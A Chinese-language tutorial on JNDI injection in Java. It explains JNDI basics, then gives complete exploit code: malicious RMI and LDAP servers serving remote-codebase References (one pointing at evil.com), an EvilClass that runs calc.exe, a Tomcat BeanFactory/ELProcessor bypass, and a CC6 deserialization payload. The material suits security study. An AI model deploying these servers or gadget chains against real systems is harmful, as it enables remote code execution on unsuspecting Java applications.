JNDI注入-基础
JNDI定义
简单的理解: 其实jndi和之前学的rmi很像,rmi需要绑定到注册中心,jndi则是需要绑定到“上下文”,绑定以后原本rmi是只对rmi的东西操作,而jndi它不仅仅支持rmi,还支持其他协议,跟万能接口一样
JNDI( Java Naming and Directory Interface,Java命名和目录接口) ,包括==Naming Service==和==Directory Service==,是一组在Java应用中访问命名和目录服务的API。JNDI是Java API,==允许客户端通过名称发现和查找数据、对象==。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等
Naming Service
命名服务是将名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。例如RMI Registry就是使用的Naming Service。
Directory Service
是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是目录服务。
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
JNDI由JNDI API、命名管理、JNDI SPI(service provider interface)服务提供的接⼝。我们的应⽤可以通过JNDI的API去访问相关服务提供的接口。我们要使⽤JNDI,必须要有服务提供⽅,我们常⽤的就是JDBC驱动提供数据库连接服务,然后我们配置JNDI连接。
有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
jdk原生支持的:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
JDK里提供了5个包,以供JNDI进行功能的实现
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
漏洞中涉及到最多的就是RMI , LDAP 两种服务接⼝
目录中的存储对象
官网文档给出定义
- Java serializable objects
Referenceable
objects and JNDIReferences
- Objects with attributes (
DirContext
) - RMI objects
- CORBA objects
比较常见的是 References引用对象 和 RMI远程对象
InitialContext - 上下文
构造方法:
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法:
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
示例
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
// 构建初始上下文
InitialContext initialContext = new InitialContext();
// 查询命名对象
String uri = "rmi://127.0.0.1:1099/work";
initialContext.lookup(uri);
}
}
Reference - 引用
Reference
类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取 RMI
服务器上的对象为 Reference
类或者其子类时,则可以从其他服务器上加载 class 字节码
文件来实例化
构造方法:
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
示例:
调用完Reference
后又调用了ReferenceWrapper
将前面的Reference
对象给传进去,这是为什么呢?
其实查看Reference
就可以知道原因,查看到Reference
,并没有实现Remote
接口也没有继承 UnicastRemoteObject
类
JNDI示例
RMI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");
LDAP
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
JNDI注入
高版本绕过:
https://tttang.com/archive/1405/
https://tttang.com/archive/1489/
https://tttang.com/archive/1409/
JNDI注入是BlackHat 2016(USA)@pentester的一个议题"A Journey From JNDI LDAP Manipulation To RCE"[9]提出的。提出的时候名字叫“JNDI操纵”,这个按理说更贴合一些,因为这种攻击方式并不是像SQL注入、Xpath注入那样的,说操纵更合适。
jndi注入不同版本利用的方式是不同的,jdk很早就修复了对rmi的利用,但是对ldap的注入一直到jdk8u191(2018年)才修复(高版本仍有绕过方式),它厉害的点在于他是不依赖第三方库的,甚至可以直接执行远程字节码。
JNDI攻击向量
- RMI
- LDAP
- Serialized Object
- JNDI Reference
- Remote Object(有安全管理器的限制,在上面RMI利用部分也能看到)
- Remote Location
- CORBA
- IOR 这里引用一张经典图片,以更好地说明jdk版本与攻击向量的选择:
JNDI Reference+RMI攻击
限制条件
- JDK 6 <6u132
- JDK 7 < 7u122
- JDK 8 < 8u113
在这些版本之后,系统属性
com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
攻击流程
在我们攻击流程中,我们需要使用到Reference类,其有几个比较关键的属性:
- className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
- classFactory - 远程的工厂类
- classFactoryLocation - 工厂类加载的地址,可以是各种协议,如http://
参考代码如下:
Reference refObj = new Reference("refClassName", "FactoryClassName", "http://evil.com:8000/");
//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名,http://evil.com:9999/是classFactoryLocation
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
完整代码如下:
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class RMIClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/refObj");
}
}
服务端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
Reference refObj = new Reference("ExportObject", "EvilClass", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
恶意类:
import java.io.IOException;
public class EvilClass {
public EvilClass() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}
完整攻击流程:
- 编译EvilClass.java为EvilClass.class (
javac EvilClass.java
) - 运行恶意http server,挂载上述class(
python3 -m http.server 8000
) - 运行恶意rmi server(上面的RMIServer类)
- 运行客户端发起请求(上面的RMIClient类)
- 客户端对恶意RMI server发送请求,获取远程对象存根实例
- 客户端会先从本地的
CLASSPATH
中寻找ExportObject
,如果找不到,则从classFactoryLocation即http://127.0.0.1:8000/EvilClass.class
中寻找工厂类 - 客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行
JNDI Reference+LDAP攻击
这里就不介绍ldap协议了,直接看如何攻击。
限制条件
- JDK 6 < 6u211
- JDK 7 < 7u201
- JDK 8 < 8u191
- JDK 11 < 11.0.1
在这些版本之后,
com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制。
攻击流程
攻击流程与上面的JNDI Reference+RMI攻击类似。
完整代码如下(参考marshalsec项目):
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class LDAPClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:7777/anything");
}
}
服务端maven依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
服务端:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "ExportObject");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
恶意类同上面的EvilClass.java
完整攻击流程:
- 编译EvilClass.java为EvilClass.class (
javac EvilClass.java
) - 运行恶意http server,挂载上述class(
python3 -m http.server 8000
) - 运行恶意rmi server(上面的LDAPServer类)
- 运行客户端发起请求(上面的LDAPClient类)
- 客户端对恶意LDAP server发送请求,获取远程对象存根实例
- 客户端会先从本地的
CLASSPATH
中寻找ExportObject
,如果找不到,则从javaFactory即http://127.0.0.1:8000/EvilClass.class
中寻找工厂类 - 客户端通过实例化工厂类获取真正的对象,工厂类中包含的恶意代码被执行
本地 Factory
在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。
限制条件
- 客户端存在一个实现了
javax.naming.spi.ObjectFactory
接口且存在getObjectInstance()
方法的类,如org.apache.naming.factory.BeanFactory
getObjectInstance()
方法存在可以利用的逻辑(如BeanFactory
可以实例化对象的beanClass)- 在
BeanFactory
这个例子中,getObjectInstance()
方法会实例化对象的beanClass。
- 在
其中,beanClass需要满足以下几个条件(通过分析BeanFactory.getObjectInstance()
得出:
- 本地classpath里存在
- 具有无参构造方法
- 有直接或间接执行代码的方法,并且方法只能传入一个字符串参数。
通过上述的描述,寻找到符合的类有:
- tomcat8里的j
avax.el.ELProcessor#eval(String)
- springboot 1.2.x自带的
groovy.lang.GroovyShell#evaluate(String)
攻击流程
Obj.decodeObject()
返回Reference对象- 接着会进入
NamingManager.getObjectFactoryFromReference()
,如果是Reference对象,则会返回一个ObjectFactory对象(这里实现类是BeanFactory) - 实例化beanClass后,会获取Reference对象里的forceString属性值
- 将属性值会以逗号和等号分割,格式如param1=methodName1,param2=methodName2
- 接着会反射调用beanClass对象里名为methodName1的方法,并传入参数,限定参数类型为String,参数通过Reference对象里param1属性获取。
模拟攻击流程如下:
搭建tomcat源码的测试环境(中文乱码问题参考这里),这里注意要修改下pom.xml的依赖(网上搜索到的pom.xml会缺乏LDAPServer的依赖且easyMock的版本过低),这是我使用的依赖
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache</groupId>
<artifactId>tomcat</artifactId>
<name>apache-tomcat-8.5.75</name>
<version>8.5.75</version>
<build>
<finalName>Tomcat-8.5.57</finalName>
<sourceDirectory>java</sourceDirectory>
<testSourceDirectory>test</testSourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<testResources>
<testResource>
<directory>test</directory>
</testResource>
</testResources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.5.1</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>4.3</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.apache.ant</groupId>
<artifactId>ant</artifactId>
<version>1.10.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.6.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.glassfish/javax.xml.rpc -->
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.xml.rpc</artifactId>
<version>3.0.1-b03</version>
</dependency>
</dependencies>
</project>
在创建java/exp文件夹并写入RMILocalFactoryServer.java:
package exp;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMILocalFactoryServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建Registry
Registry registry = LocateRegistry.createRegistry(9999);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc.exe')"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println("java LocalFactory RMI registry created. port on 9999...");
}
}
在web/ROOT中写入client.jsp:
<%@ page import="javax.naming.*" %>
<%@ page import="javax.el.ELProcessor" %>
<%
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:9999/Exploit");
} catch (NamingException e) {
e.printStackTrace();
}
%>
运行RMILocalFactoryServer
运行tomcat服务器,访问http://127.0.0.1:8080/client.jsp,触发任意java代码执行
SerializedData + LDAP攻击
这种攻击方法不受jdk版本的限制,但是要求目标存在可利用的java组件
限制条件
客户端存在可利用的java组件
前置介绍
LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。分析如下:
当客户端从服务器中获取到对象,进行解析时,com.sun.jndi.ldap.Obj.decodeObject()
:
此时如果javaSerializedData不为空则进入第一个分支,先根据codebase判断使用哪个ClassLoader,这对于本地反序列化来说没有影响,接着跟进deserializeObject()
:
这里直接将我们传入的javaSerializedData反序列化。
攻击流程
完整代码如下:
客户端:
import javax.naming.Context;
import javax.naming.InitialContext;
public class LDAPClient {
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:7777/anything");
}
}
客户端与服务端maven依赖:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
服务端:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static byte[] getPayload() throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1),
};
// 先使用fakeTransformer防止本地命令执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map objMap = new HashMap();
objMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");
// 使用反射替换transformerChain的transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(objMap);
oos.close();
return barr.toByteArray();
}
}
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base + " return CC6 gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-1$
e.addAttribute("javaSerializedData", CC6.getPayload());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
完整攻击流程:
- 运行恶意ldap server(上面的LDAPSerialServer类)
- 运行客户端发起请求(上面的LDAPClient类)
- 客户端对恶意LDAP server发送请求,获取包含javaSerializedData属性的对象
- 客户端解析对象,发现存在javaSerializedData属性,对其进行反序列化
- 触发本地反序列化链
参考:
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/
注入攻击总结的很好,直接拿来主义了